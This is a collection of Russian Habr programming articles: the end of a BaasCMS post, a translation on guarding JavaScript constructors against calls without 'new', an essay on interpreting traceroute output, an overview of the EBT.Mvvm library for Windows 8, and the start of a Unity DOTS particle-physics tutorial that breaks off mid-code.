template: 'template-product-sale-element',
templateWrap: 'template-product-sale-wrap',
patternName: 'Product',
cache: 'yes',
select: ['name', 'category\_id', 'cost', 'preview'],
where: {
sale: 'yes'
}
});
```
Виджет *Main* выводит данные в зависимости от hash URL, используя библиотеку [PathJS](http://mtrpcic.github.io/pathjs/). В виджет вшиты два роута: `'#/baascms/category/:cid(/page/:page)(/sort/:sort)'` и `'#/baascms/category/:cid/item/:iid'`. Первый для подробного вывода одной категории или списка айтемов, второй для подробного вывода айтема. В зависимости от роута, виджет *Main* подключает соответствующий виджет из списка выше.
В [исходном коде BaasCMS Demo](https://github.com/Artod/artod.github.io/blob/master/baascms/demo/index.html) можно посмотреть примеры использования виджетов.
Так же [исходный код js-приложения Админ-панели](https://github.com/Artod/artod.github.io/blob/master/baascms/admin/baascms-admin.js) может послужить хорошим примером, как работать с виджетами и не мешать js-код с html.
Адаптеры
--------
Адаптер — это класс-прослойка для работы с провайдером BaaS. Все запросы к серверу происходят опосредовано через инстанс этого класса ([исходный код адаптера для Parse.com](https://github.com/Artod/baascms/blob/master/src/baascms-adapter-parse.js)). Таким образом можно написать адаптер для любого сервиса или даже для своего бэкенда. Название адаптера передается в параметрах инициализации CMS:
```
BaasCMS.init({
baas: 'Parse'
});
```
Заключение
----------
Еще предстоит написать тесты и толковую документацию, но уже сейчас можно посмотреть что да как, оценить перспективы. Если вас заинтересовал проект, можете поучавствовать в его развитии на [GitHub](https://github.com/Artod/baascms). Баги и вопросы можно отправлять на baascms@gmail.com. | https://habr.com/ru/post/234409/ | null | ru | null |
# [Перевод] Проблема конструкторов JavaScript и три способа её решения
#### Введение
Как известно, создать новый объект в JavaScript можно используя функцию-конструктор следующего вида:
```
function Fubar (foo, bar) {
this._foo = foo;
this._bar = bar;
}
var snafu = new Fubar("Situation Normal", "All Fsked Up");
```
Когда мы вызываем функцию-конструктор при помощи ключевого слова `new` , то получаем новый объект, а контекст его конструктора устанавливается на сам объект. Если мы явно не возвращаем ничего из конструктора, то получаем сам объект в качестве результата. Таким образом, тело функции конструктора используется для инициализации вновь созданного объекта, прототипом которого будет содержимое свойства `prototype` конструктора, так что можно писать следующим образом:
```
Fubar.prototype.concatenated = function () {
return this._foo + " " + this._bar;
}
snafu.concatenated()
//=> 'Situation Normal All Fsked Up'
```
Используя оператор `instanceof` можно убедиться в том, что объект был создан при помощи определенного конструктора:
```
snafu instanceof Fubar
//=> true
```
(Заставить работать `instanceof` «неправильно» возможно при в случаях с более продвинутыми идиомами, или же если вы — вредный тролль, собирающий исключения языка программирования и получающий наслаждение, истязая ими соискателей на собеседованиях. Однако, для наших целей `instanceof` работает достаточно хорошо.)
#### Проблема
Что происходит, если мы вызываем конструктор, случайно упустив ключевое слово `new` ?
```
var fubar = Fubar("Fsked Up", "Beyond All Recognition");
fubar
//=> undefined
```
Чарльз-Зигмунд-Хуан!? Мы вызвали обычную функцию, которая ничего не возвращает, так что `fubar` будет undefined. Это не то, что нам нужно, даже хуже, потому что:
```
_foo
//=> 'Fsked Up'
```
JavaScript устанавливает контекст в глобальную область видимости для выполнения обычной функции, так что мы только что туда намусорили. Ну это ещё как-то можно поправить:
```
function Fubar (foo, bar) {
"use strict"
this._foo = foo;
this._bar = bar;
}
Fubar("Situation Normal", "All Fsked Up");
//=> TypeError: Cannot set property '_foo' of undefined
```
Хотя использование «use strict» часто опускается в коде и в книгах, на продакшене его использование можно назвать практически обязательным из-за случаев, вроде описанного выше. Тем не менее, конструкторы, не предоставляющие возможность вызвать себя без ключевого слова `new`, являются потенциальной проблемой.
Так что же мы можем сделать с этим?
#### Решение №1 — автонаследование
Дэвид Херман объясняет автонаследование в своей книге [Effective JavaScript](http://effectivejs.com/). Когда мы вызываем конструктор при помощи `new`, псевдо-переменная `this` указывает на новый экземпляр нашего так-называемого «класса». Это можно использовать для того, чтобы определить: был ли вызван конструктор при помощи кодового слова `new`.
```
function Fubar (foo, bar) {
"use strict"
var obj,
ret;
if (this instanceof Fubar) {
this._foo = foo;
this._bar = bar;
}
else return new Fubar(foo, bar);
}
Fubar("Situation Normal", "All Fsked Up");
//=>
{ _foo: 'Situation Normal',
_bar: 'All Fsked Up' }
```
Зачем делать так, чтобы оно работало без `new`? Одна из проблем, которые этот подход решает — невозможность вызова `new Fubar(...)`. Рассмотрим пример:
```
function logsArguments (fn) {
return function () {
console.log.apply(this, arguments);
return fn.apply(this, arguments)
}
}
function sum2 (a, b) {
return a + b;
}
var logsSum = logsArguments(sum2);
logsSum(2, 2)
//=>
2 2
4
```
`logsArguments` декорирует функцию, логирующую свои аргументы, возвращая результат её вызова. Попробуем сделать то же самое при помощи `Fubar`:
```
function Fubar (foo, bar) {
this._foo = foo;
this._bar = bar;
}
Fubar.prototype.concatenated = function () {
return this._foo + " " + this._bar;
}
var LoggingFubar = logsArguments(Fubar);
var snafu = new LoggingFubar("Situation Normal", "All Fsked Up");
//=> Situation Normal All Fsked Up
snafu.concatenated()
//=> TypeError: Object [object Object] has no method 'concatenated'
```
Это не работает, потому что `snafu` является экземпляром `LoggingFubar`, а не `Fubar`. Но если использовать автонаследование в `Fubar`:
```
function Fubar (foo, bar) {
"use strict"
var obj,
ret;
if (this instanceof Fubar) {
this._foo = foo;
this._bar = bar;
}
else {
obj = new Fubar();
ret = Fubar.apply(obj, arguments);
return ret === undefined
? obj
: ret;
}
}
Fubar.prototype.concatenated = function () {
return this._foo + " " + this._bar;
}
var LoggingFubar = logsArguments(Fubar);
var snafu = new LoggingFubar("Situation Normal", "All Fsked Up");
//=> Situation Normal All Fsked Up
snafu.concatenated()
//=> 'Situation Normal All Fsked Up'
```
Теперь это работает, хотя, конечно же, `snafu` является экземпляром `Fubar`, а не `LoggingFubar`. Нельзя точно сказать, то ли это, чего мы добивались. Этот способ нельзя назвать более чем полезной абстракцией, не лишенной утечек, ровно как и нельзя сказать, что он «просто работает», хоть благодаря ему и становятся возможными некоторые вещи, которые при других подходах реализовать гораздо более сложно.
#### Решение №2 — использование перегруженной функции
Функция, проверяющая, является ли объект экземпляром определенного класса, может быть очень полезной. Если вас не пугает идея, что одна функция может делать две разные вещи, то можно сделать так, чтобы конструктор выполнял проверку на собственный `instanceof` .
```
function Fubar (foo, bar) {
"use strict"
if (this instanceof Fubar) {
this._foo = foo;
this._bar = bar;
}
else return arguments[0] instanceof Fubar;
}
var snafu = new Fubar("Situation Normal", "All Fsked Up");
snafu
//=>
{ _foo: 'Situation Normal',
_bar: 'All Fsked Up' }
Fubar({})
//=> false
Fubar(snafu)
//=> true
```
Это дает возможность использовать конструктор как фильтр
```
var arrayOfSevereProblems = problems.filter(Fubar);
```
#### Решение №3 — выжечь огнем
Если насущной необходимости в авто-наследовании нет, а использование перегруженных функций по какой-либо причине не подходит, нам всё же может понадобиться способ избежать случайного вызова конструктора без использования ключевого слова `new`. Пускай
`"use strict"` и помогает, но и это не панацея. В этом режиме не будет выдана ошибка, если не попытаться записать значение в глобальную область видимости, и если мы попытаемся что-то сделать, прежде чем записать-таки упомянутое значение, это произойдет не смотря ни на что.
Может быть, гораздо лучше взять дело в свои руки? Оливер Шеррер [предлагает](http://podefr.tumblr.com/post/75666281033/the-auto-instantiating-javascript-constructor-is-an) такое решение:
```
function Fubar (foo, bar) {
"use strict"
if (!(this instanceof Fubar)) {
throw new Error("Fubar needs to be called with the new keyword");
}
this._foo = foo;
this._bar = bar;
}
Fubar("Situation Normal", "All Fsked Up");
//=> Error: Fubar needs to be called with the new keyword
```
Проще и безопаснее, чем просто полагаться на `"use strict"`. Если необходимо сделать проверку на собственный `instanceof` , можно обернуть её в конструктор как метод функции:
```
Fubar.is = function (obj) {
return obj instanceof Fubar;
}
var arrayOfSevereProblems = problems.filter(Fubar.is);
```
#### Заключение
Конструкторы, вызываемые без ключевого слова `new`, могут представлять потенциальную угрозу. Избежать этого можно тремя способами: автонаследованием, использованием перегруженных функций и принудительно бросая ошибку в случае неправильного вызова.
Оргинал статьи автора можно найти [здесь](http://raganwald.com/2014/07/09/javascript-constructor-problem.html?utm_source=javascriptweekly&utm_medium=email).
К статье прилагается [обсуждение на реддите](http://www.reddit.com/r/javascript/comments/2acr9f/a_javascript_constructor_problem_and_three/). | https://habr.com/ru/post/237959/ | null | ru | null |
# Traceroute: про умение читать вывод
* Почему в трейсроуте после узла X идут звездочки?
* Сервис не работает, а трейсроут обрывается на узле X — значит проблема в узле X?
* Почему одинаковые трейсроуты с Windows и Unix показывают разные результаты?
* Почему трейсроут показывает большие задержки на определенном узле?
* Почему трейсроут показывает «серые» адреса при трассировке через интернет?
* Почему маршрутизатор отвечает на трейсроут не тем адресом, каким я хочу?
* Почему трейсроут показывает какие-то «не такие» доменные имена?
* Почему вообще вывод трейсроута отличается от интуитивно ожидаемого чаще, чем хотелось бы?
Сетевые инженеры и администраторы в отношениях с трейсроутом делятся на две категории: регулярно задающие себе и окружающим эти вопросы и заколебавшиеся на них отвечать.
Сей топик **не** дает ответов на вышепоставленные вопросы. Или почти не дает. Но предлагает подумать, нужно ли их вообще задавать, и если да, то когда и кому.
По поводу взаимоотношений с трейсроутом Ричард нашевсе Стинберген сделал на конференции NANOG-47 (2009) доклад, тезисы которого я и рекомендую к изучению всем заинтересованным лицам. [A Practical Guide to (Correctly) Troubleshooting with Traceroute (PDF, 222 КБ)](http://www.nanog.org/meetings/nanog47/presentations/Sunday/RAS_Traceroute_N47_Sun.pdf) (на английском, разумеется, языке).
Не стану пересказывать тут подробности (желающие да прочтут), остановлюсь лишь на своде аргументов и выводах, которые хорошо бы иметь в виду, прежде чем звать на помощь с криком «у меня трейс показывает, что…»
> `*Все ниже (и выше) излагаемое — моя личная точка зрения. Топик написан под влиянием указанной презентации, но не является ни ее пересказом, ни, упаси господь, переводом. Возможно даже, вы сможете обнаружить в ней разночтения с данным топиком. Уж как минимум не стоит приписывать Ричарду тех или иных высказываний, прочтя их у меня, но не сверившись с его докладом.*`
#### Некоторые факты (без углубления в детали)
* Задержка прохождения пакета по сети складывается из нескольких факторов: сериализация, буферизация, распространение. Каждый из факторов сложнее, чем вы о нем думаете.
* Задержка, которую вам показывает трейсроут, — еще более комплексная величина: маршрутизаторы обрабатывают пакеты, адресованные самим себе, абсолютно иначе, чем транзитные пакеты. Данное обстоятельство приводит к специфической природе значений задержек, которые нам показывает трейсроут. Из этого не следует, что на них нельзя ориентироваться, но нужно уметь их читать.
* Трафик в интернете почти всегда идет разными путями в направлениях от клиента к серверу и от сервера к клиенту. Трейсроут же всегда показывает суммарную задержку в обе стороны, а трассировку — только по одному направлению.
* Указание трейсроуту адреса источника на устройстве с несколькими интерфейсами (маршрутизаторе) не влияет на выбор интерфейса, с которого будут отправлены запросы. А влияет — на выбор *обратного* пути, по которому передаются ответы. Их трассировка не видна в выводе, но таким образом можно измерять разницу задержки для параллельных обратных маршрутов.
* Использование L3-балансировки где-то на интернет-магистралях скорее всего заставит разные пакеты в рамках одной трассировки идти разными путями. Такое поведение приводит к сложноинтерпретируемому выводу, грамотно прочесть который может далеко не каждый.
* Современные маршрутизаторы при ответе на трейсроут не соблюдают требования пункта 4.3.2.4 RFC1812, обязывающего устанавливать IP-адрес источника ICMP-ответов равным адресу исходящего интерфейса. Вместо этого они устанавливают его равным адресу интерфейса, на который был получен трейсроут-запрос (пакет с TTL=1). Впрочем, если б было наоборот, читать вывод трейсроута было бы куда тяжелее.
* Наличие MPLS-коммутации внутри магистральных сетей (нынче это так у любого уважающего себя крупного провайдера) приводит к контруинтуитивному пути передачи ответов на трейсроут и еще менее очевидному способу вычисления задержек.
#### Некоторые наиболее важные выводы (с моим творческим осмыслением)
* Трейсроут — не такая простая штука, как кажется; ею нужно уметь пользоваться. А для этого надо понимать, как она работает.
* Большинство админов и инженеров служб эксплуатации, не говоря уже о простых пользователях, не понимают и не умеют. Такое положение дел очень часто приводит к ложным тревогам, неправильной диагностике и т. п.
* Трейсроут трейсроуту рознь. Стандартные утилиты tracert в Windows и traceroute в Линукс реализованы по-разному и могут давать разные результаты. Windows посылает ICMP, а Linux — UDP, файрволы на пути трассировки могут иметь неодинаковые настройки фильтрации для разных протоколов.
* При интерпретации результатов трассировки требуется опыт и сообразительность. Бывает, что важные выводы можно сделать лишь путем догадки, опираясь на косвенные данные, а иные — и вовсе не однозначно, а лишь с точностью до «скорее всего».
#### Итого
##### Если вы клиент
Не донимайте техподдержку провайдеров, интеграторов, вендоров корпоративный хелп-деск и т. п. выводами трейсроута, если только вы не абсолютно уверены в ответе на вопрос «почему я именно так интерпретирую трассировку?» В лучшем случае вас просто проигнорируют или пошлют. В худшем — можете убедить неопытных сотрудников поддержки в справедливости своей неправильной версии, в результате чего они отправятся копать проблему совсем не в том месте, где нужно.
Если вы не видите проблем с сервисом (все работает), но в выводе трейсроута вам что-то не нравится — подумайте хорошенько, прежде чем подымать тревогу. Крайне вероятно, что вы просто неверно интерпретируете вывод. Очень нечасто по одному трейсроуту можно судить о наличии проблемы. А если проблема действительно есть, обычно ее проще продемонстрировать без трейсроута.
##### Если вы исполнитель
Никогда не ведитесь на чужую интерпретацию вывода трейсроута. Думайте своей головой (всегда пожалуйста — ваш кэп). Вообще, если сообщение о проблеме начинается с вывода трейсроута — это верный признак, что прежде чем что-либо делать, излагаемые дальше сведения нужно трижды перепроверить лично.
Прочтите презентацию Ричарда. С осторожностью пользуйтесь трейсроутом, как основным инструментом траблшутинга: ошибиться в интерпретации очень легко, информации часто недостаточно для однозначных выводов. Всегда сопоставляйте показания трейсроута с другими доступными данными, по возможности пользуйтесь им лишь в качестве дополнительной или черновой информации. | https://habr.com/ru/post/129627/ | null | ru | null |
# Варим MVVM для Windows Store-приложений
Когда мы начали работать над приложениями под Windows 8, мы искали библиотеку поддержки шаблона Model-View-ViewModel (MVVM) для этой платформы. Некоторое время провели в интернете в поиске таковой, но в итоге приняли факт, что таких библиотек в природе пока не существует (возможно, мы плохо искали, но теперь это уже не так важно). Ответ на вопрос «что делать?» напрашивался сам…
В недрах нашей компании EastBanc Technologies была создана специальная библиотека (кодовое название **EBT.Mvvm**). Цель создания — экономия времени в будущем при разработке сложных приложений для Windows 8. В библиотеку вошли как наши собственные наработки, так и некоторые идеи и примеры, которые встречались нам во время наших поисков.
Итак, что мы имеем: все помнят, что основная идея шаблона — это ослабление связи между ViewModel (будем называть вью-модель) и непосредственно View (представление). Идеальное состояние — это когда code-behind представления содержит только конструктор с InitializeComponent и, возможно, код поддержки визуального поведения, которое нельзя определить через XAML. Таким образом, разработчик отдает представление дизайнеру, а сам сосредотачивается на работе и тестировании логики приложения.
Данная статья ориентирована на разработчиков, уже знакомых с программированием на C# и XAML под Windows 8. Ниже мы приводим описания основных фич нашей библиотеки в виде примеров кода их использования и комментариев. Итак, поехали:
##### 1. Базовый класс ViewModel
Первое, с чего нужно начинать, говоря о MVVM шаблоне, это базовый класс для наших вью-моделей. Основное предназначение — поддержка интерфейса INotifyPropertyChanged и удобные функции для автоматической нотификации при изменении свойств. Пример использования:
```
public class SimpleViewModel : ViewModel
{
private int _number;
public int Number
{
get { return _number; }
set { OnPropertyChange(ref _number, value); }
}
}
```
Тут всё должно быть понятно без комментариев. Следует добавить, что есть набор перегруженных функций для автоматической нотификации при изменении свойства. Также имеется способ избежать написания поля вообще. Имеется в виду так называемый backing field. Пример — поле \_number в примере кода выше. При этом свойства можно продолжать создавать с поддержкой автоматической нотификации. Это достаточно удобно, если во вью модели у нас имеется множество свойств для связывания. Пример ниже показывает, как можно сделать свойство с учётом этой фичи (поле не требуется).
```
public string Text
{
get { return GetPropertyValue(() => Text); }
set { SetPropertyValue(() => Text, value); }
}
```
##### 2. Команды
Привычный и необходимый обработчик команд RelayCommand. Привязывается к свойству Command базового класса ButtonBase (кнопки, пункты меню, гиперссылки) и поддерживает ICommand интерфейс. Вещь незаменимая и реализована уже давно. Тем не менее, должна быть упомянута:
```
public class SimpleViewModel : ViewModel
{
public SimpleViewModel()
{
SampleCommand = new RelayCommand(OnSample);
}
public RelayCommand SampleCommand { get; private set; }
private void OnSample()
{
// TODO Do something here.
}
}
```
```
```
##### 3. Связывание обработчиков событий
Мы добавили возможность удобно связывать обработчики событий. MVVM подразумевает, что обработка событий пользовательского интерфейса должна происходить на стороне вью-модели. Без небольшого трюка сделать это невозможно. Он состоит в связывании присоединённого свойства элемента пользовательского интерфейса. На текущий момент библиотека поддерживает обработку большого количества событий. Список при необходимости может расширить сам разработчик. В качестве примера приведём обработку события Tapped элемента TextBlock:
```
public class SimpleViewModel
{
public SimpleViewModel()
{
TappedCommand = new EventCommand(OnTapped);
}
public IEventCommand TappedCommand { get; private set; }
private void OnTapped(Point point)
{
TappedCommand.PreventBubbling = point.X < 100;
}
}
```
```
```
Тут стоит обратить внимание на строку с TappedCommand.PreventBubbling = point.X < 100. Дело в том, что мы предусмотрели возможность отменить дальнейшую обработку событий (Handled) выставив соответствующий флаг.
На текущий момент есть поддержка событий: SelectionChanged, Click, ItemClick, KeyDown, KeyUp, PointerReleased, PointerPressed, PointerMoved, PointerCanceled, PointerEntered, PointerExited, PointerCaptureLost, Tapped, RightTapped, PointerWheelChanged, ManipulationStarting, ManipulationStarted, ManipulationDelta, ManipulationInertiaStarting, ManipulationCompleted, LostFocus, Unloaded, Loaded.
##### 4. Поддержка различных режимов экрана
На наш взгляд, это самая интересная фича библиотеки. Для целевых приложений, ориентированных на планшеты прямо-таки незаменимая! Помним, что есть четыре режима экрана и что поддерживать их все — хороший тон. У нас есть два механизма для изменения отображения элементов пользовательского интерфейса в зависимости от текущего режима экрана.
* Управление видимостью. Основан на изменении видимости каждого конкретного элемента и удобен для простых сценариев.
* Изменение стиля. Иногда с точки зрения производительности это более эффективный метод для сложных сценариев пользовательского интерфейса.
```
```
В следующем примере показано изменение ориентации списка в зависимости от режима экрана.
```
<Style.Setters>
<Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Disabled"/>
<Setter Property="ScrollViewer.HorizontalScrollMode" Value="Disabled"/>
<Setter Property="ScrollViewer.VerticalScrollBarVisibility" Value="Auto"/>
<Setter Property="ScrollViewer.VerticalScrollMode" Value="Auto"/>
<Setter Property="ItemsPanel">
<Setter.Value>
<ItemsPanelTemplate>
<VirtualizingStackPanel Orientation="Vertical"/>
</ItemsPanelTemplate>
</Setter.Value>
</Setter>
</Style.Setters>
```
Метод изменения стиля элемента — это очень удобная и мощная фича. При её использовании необходимо помнить про следующее:
* При использовании этой фичи мы не можем использовать свойство Style для элементов.
* Если применён для одного из режимов экрана, то как минимум этот стиль будет применяться во всех режимах если не указаны другие.
* Для каждого из режимов экрана каждый из этих стилей имеет приоритет. Например, если есть стиль для портретной ориентации и для snapped, то портретный стиль будет применяться для ландшафтного и заполненного режима. Если указан только один стиль — он будет применяться во всех режимах.
А приятное следствие в использовании метода изменения стиля состоит в том, что при таком подходе, используя ContentControl/ContentPresenter, можно изменять view template полностью! Ниже показано как это делается:
```
<Setter Property="ContentTemplate">
<Setter.Value>
<DataTemplate>
<Grid>
<TextBlock Text="Landscape"/>
<!-- Something in landscape mode -->
</Grid>
</DataTemplate>
</Setter.Value>
</Setter>
<Setter Property="ContentTemplate">
<Setter.Value>
<DataTemplate>
<Grid>
<TextBlock Text="Portrait"/>
<!-- Something in portrait mode -->
</Grid>
</DataTemplate>
</Setter.Value>
</Setter>
<Setter Property="ContentTemplate">
<Setter.Value>
<DataTemplate>
<Grid>
<TextBlock Text="Snapped. Only text here"/>
</Grid>
</DataTemplate>
</Setter.Value>
</Setter>
```
Например, таким образом можно без лишних проблем сделать переход в snapped режим.
##### 5. Вызов методов View из ViewModel
Иногда бывает необходимо вызвать методы пользовательского интерфейса из вью модели. В качестве примера можно привести необходимость установить фокус ввода на заданное поле. Это можно сделать с помощью нашего ControlWrapper:
```
public class SimpleViewModel : ViewModel
{
public SimpleViewModel()
{
TextBoxWrapper = new ControlWrapper();
}
public ControlWrapper TextBoxWrapper { get; private set; }
public void GotoField()
{
TextBoxWrapper.Focus();
}
}
```
```
```
##### 6. Триггеры событий для анимации
Этот механизм позволяет вам стартовать анимацию, когда происходит событие в элементе представления. И опять ни строчки кода в code-behind! Метод основан на привязывании обработчиков событий. В XAML нужно определить специальную команду TriggerCommand:
```
```
##### 7. Привязывание контекстного меню
ContextMenuBehavior позволяет быстро и удобно отображать контекстное меню на нажатие правой клавиши мыши или tap на тачскрине. Во вью необходимо только сделать связывание на элементе, для которого будет вызвано контекстное меню. А в модели определить список команд и обработчики:
```
public class MyViewModel : ViewModel
{
private IList \_contextMenuCommands;
private string \_text;
public string Text
{
get { return \_text; }
set { OnPropertyChange(ref \_text, value); }
}
public IList ContextMenuCommands
{
get
{
return \_contextMenuCommands ?? (\_contextMenuCommands = new List
{
new UICommand("Copy", OnCopy),
new UICommand("Paste", OnPaste),
});
}
}
private void OnCopy(IUICommand command)
{
var content = new DataPackage();
content.SetText(Text);
Clipboard.SetContent(content);
}
private async void OnPaste(IUICommand command)
{
var content = Clipboard.GetContent();
Text = await content.GetTextAsync();
}
}
```
```
```
##### 8. Привязывание popup
PopupBehavior позволяет создать функционал показа popup при нажатии на правую кнопку мыши или tap на тачскрине. Всё должно быть ясно из примера кода ниже:
```
```
##### 9. Межстраничная навигация
Одной из проблем для разработчика является страничная навигация — не очень удобно поддерживать чистоту code-behind, если переходы осуществляются через обращения к Frame из представления. И практически всегда возникает потребность обработки событий Navigating и Navigated во вью-модели.
Для достижения целей создаем основную модель нашего приложения:
```
public class RootModel
{
public RootModel()
{
NavigationState = new NavigationState();
HomePageModel = new HomePageModel(this);
}
public NavigationState NavigationState { get; set; }
public HomePageModel HomePageModel { get; set; }
public bool CanGoBack { get { return NavigationState.CanGoBack; } }
public void GoBack()
{
NavigationState.GoBack();
}
public void GoToHomePage()
{
NavigationState.Navigate(typeof (HomePage));
}
}
```
При запуске приложения устанавливаем основную модель как контекст верхнеуровнего элемента визуального дерева объектов и связываем класс-обёртку NavigationState с frame.
```
sealed partial class App : Application
{
...
public RootModel RootModel { get; private set; }
protected override void OnLaunched(LaunchActivatedEventArgs args)
{
RootModel = new RootModel();
var frame = new Frame { DataContext = RootModel };
// Bind the NavigationState and the frame using the ElementBinder class.
// You can also do this in XAML.
ElementBinder.SetWrapper(frame, RootModel.NavigationState);
Window.Current.Content = frame;
Window.Current.Activate();
RootModel.GoToHomePage();
}
}
```
Теперь наша вью-модель HomePageModel может обрабатывать события OnNavigating и OnNavigated. А также осуществлять навигацию на другие страницы через сохраненную ссылку на \_rootModel. Обратите внимание, что OnNavigating поддерживает отмену перехода (параметр ref bool cancel).
```
public class HomePageModel : PageModel // Or implement IPageModel.
{
private RootModel _rootModel; // You can call _rootModel.NavigationState.Navigate(…)
public HomePageModel(RootModel rootModel)
{
_rootModel = rootModel;
}
public override void OnNavigated()
{
// TODO Do something here to initialize/update your page.
}
public override void OnNavigating(ref bool cancel)
{
// TODO Do something here to clean up your page.
}
}
```
В XAML выставляем правильный DataContext страницы для корректной работы связывания.
```
```
Всё, результат достигнут. Теперь можно создавать страницы и связывать их c вью-моделями. Последние будут обрабатывать события OnNavigating и OnNavigated и управлять навигацией.
##### 10. Шаблон для генерации скелетного проекта
Мы предусмотрели возможность быстро создать каркас для проекта с использованием нашей библиотеки. Шаблон проекта встраивается в Visual Studio и появляется в проектах Windows Store. Также шаблон доступен в библиотеке онлайн шаблонов проектов Visual Studio.
##### Пока всё
Ну вот, кажется, этого для одной статьи достаточно. На самом деле были перечислены хоть и большинство, но не все фичи нашей библиотеки. Есть ещё конвертеры, сохранение и восстановления состояния, помощник для charm-панели. Остальное хабрачитатели смогут самостоятельно узнать, непосредственно установив и использовав этот проект. Так что плавно переходим к следующему пункту:
##### Где можно скачать?
Заинтересованные хабрачитатели захотят посмотреть описанную бибилиотеку в действии. Сделать это очень просто. Наша библиотека доступна для скачивания в виде [Nuget Package](https://nuget.org/packages/w8mvvm). Также наш проект заведён на [CodePlex](http://w8mvvm.codeplex.com/).
Самый быстрый способ установить её в студию — воспользоваться поиском в 12 студии через Tools-> Extensions and Updates. Выберите Online и в поисковой строке наберите ключевые слова **Windows 8 MVVM**.
##### Напоследок
«Библиотека EBT.Mvvm распространяется по принципу «как есть», разработчик не несет ответственности за возможные последствия…»
А если серьёзно, то мы будем рады, если наша библиотека поможет разработчикам приложений под молодую платформу Windows 8 сэкономить время на преодоление проблем, с которыми пришлось столкнуться нам самим. По мере сил и возможностей мы постоянно исправляем и улучшаем этот программный проект. Ваши предложения и замечания могут нам в этом помочь.
Хочется пожелать всем хабрачитателям, занимающимся разработкой, удачи. Создадим для Windows Store побольше приложений! | https://habr.com/ru/post/172839/ | null | ru | null |
# Физическая симуляция сотен тысяч частиц на Unity + DOTS
В какой-то момент во время блужданий по просторам всемирной паутины на одном из сайтов я обнаружил интерактивный JS-элемент — картинку, составленную из частиц, разлетающихся при приближении курсора мыши. Возникло желание запрограммировать симуляцию подобного поведения на Unity и проверить, какую производительность можно выжать из движка. Техническими решениями и своими наблюдениями, полученными в процессе реализации, делюсь с вами.
Результат выглядит следующим образом:
**Анимация**
Для того, чтобы его добиться, нужно решить следующие проблемы:
* описать физику частиц;
* обеспечить оптимальную скорость расчета позиций на каждом кадре;
* выбрать способ быстрой отрисовки большого числа частиц на экране.
Физика
------
Для описания желаемого поведения частиц нам потребуется сформулировать всего три принципа: стремление сократить расстояние до исходной точки, стремление «улететь» от курсора мыши и затухание движения. Нам не потребуются точные физические взаимодействия и формулы, необходимы лишь общие принципы, двигаясь в соответствии с которыми частица будет вести себя задуманным образом. Для простоты, из всех формул исключена масса — условимся считать её единичной.
#### Сокращение расстояния до начального положения
Для того, чтобы частица стремилась вернуться в исходную позицию, нам подойдет [закон Гука](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D0%93%D1%83%D0%BA%D0%B0): сила, направленная в сторону исходной позиции, будет линейно пропорциональна расстоянию до нее. В два раза дальше улетела частица от начальной позиции — в два раза сильнее её «тянет» назад, всё просто.
#### Отдаление от курсора
Чтобы было интересно, частицы должны каким-либо образом взаимодействовать с курсором, позволять себя «отодвигать» из исходного положения. За основу такого взаимодействия я взял [гравитационное](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D0%B0%D1%86%D0%B8%D1%8F) с обратным знаком: частицы будет отталкивать сила, обратно пропорциональная квадрату расстояния между положением курсора мыши и текущей позицией частицы и направленная по вектору от курсора к частице. , где  — некая константа, регулирующая взаимодействие.
#### Затухание
Если ограничиться двумя предыдущими формулами, частица после задания начальной амплитуды будет колебаться вечно, ведь терять энергию в рамках такой модели некуда. Будем симулировать затухание как силу вязкого сопротивления среды, которая, согласно [закону Стокса](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D0%A1%D1%82%D0%BE%D0%BA%D1%81%D0%B0), линейно пропорциональна скорости движения частицы и направлена в противоположную движению сторону. Нас устроят ограничения накладываемые на применимость данной формулы, так как нас в данном случае не интересует абсолютная точность физического взаимодействия, а лишь только принцип.
#### Результат
В итоге получаем формулу силы, действующей на частицу в произвольный момент времени:
где  — текущая позиция и скорость частицы,  — начальное положение,  — позиция курсора,  — коэффициенты притяжения, отталкивания и затухания соответственно.
**Еще одна анимация**
Программирование поведения
--------------------------
Так как в нашей модели частицы не зависят друг от друга, а их поведение определяется исключительно их характеристиками и общими константами, расчет обновленного состояния идеально подходит для распараллеливания. Принимая во внимание мой давний интерес к Unity DOTS, я решил применить эту технологию для решения сформулированной задачи.
DOTS — относительно недавнее развитие движка Unity, стек технологий, ориентированный на написание высокопроизводительного многопоточного кода. На хабре есть [перевод](https://habr.com/ru/company/piter/blog/444526/) вводной статьи в DOTS. Благодаря использованию архитектурного паттерна ECS, Jobs System и компилятора Burst, DOTS дает возможность писать быстрый многопоточный код, при этом снижая вероятность выстрелить себе в ногу.
Суть написания программы в рамках ECS сводится к разделению кода на компоненты (*Components*), описывающие состояние, системы (*Systems*), описывающие поведение и взаимодействие компонентов, и сущности (*Entities*) — объекты, содержащие набор компонентов.
#### Компоненты
Нам потребуются следующие компоненты:
```
// Начальное положение частицы (её аттрактор)
public struct AttractorPosData : IComponentData
{
public float2 Value;
}
// Скорость частицы
public struct VelocityData : IComponentData
{
public float2 Value;
}
// Ускорение частицы
public struct AccelerationData : IComponentData
{
public float2 Value;
}
// Данные для рендера
public struct ParticleData : IComponentData
{
public Color color;
public Matrix4x4 matrix;
}
```
С компонентами всё достаточно просто, переходим к системам:
```
// Система обновления скорости
[UpdateBefore(typeof(MoveSystem))]
public class VelocityUpdateSystem : SystemBase
{
protected override void OnUpdate()
{
var time = Time.DeltaTime;
Entities.ForEach((ref VelocityData velocity,
in AccelerationData acceleration) =>
{
velocity.Value += time * acceleration.Value;
})
.ScheduleParallel();
}
}
// Система изменения положения
public class MoveSystem : SystemBase
{
protected override void OnUpdate()
{
var time = Time.DeltaTime;
Entities.ForEach((ref Translation t, in VelocityData velocity) =>
{
t.Value.xy += time * velocity.Value;
})
.ScheduleParallel();
}
}
```
Контролировать очередность работы систем можно с помощью атрибутов
```
[UpdateBeforeAttribute]
[UpdateAfterAttribute]
```
Самой масштабной из систем, описывающих поведение, будет система обновления ускорения, действующая в соответствии с выведенной [формулой](#Equation):
```
[UpdateBefore(typeof(VelocityUpdateSystem))]
public class AccelerationSystem : SystemBase
{
protected override void OnUpdate()
{
float2 repulsorPos = Globals.Repulsor.Position;
// Коэффициент притяжения
var attractionPower = Globals.SettingsHolder.SettingsModel.Attraction;
// Коэффициент отталкивания
var repulsionPower = Globals.SettingsHolder.SettingsModel.Repulsion;
// Коэффициент затухания
var dampingPower = Globals.SettingsHolder.SettingsModel.Damping;
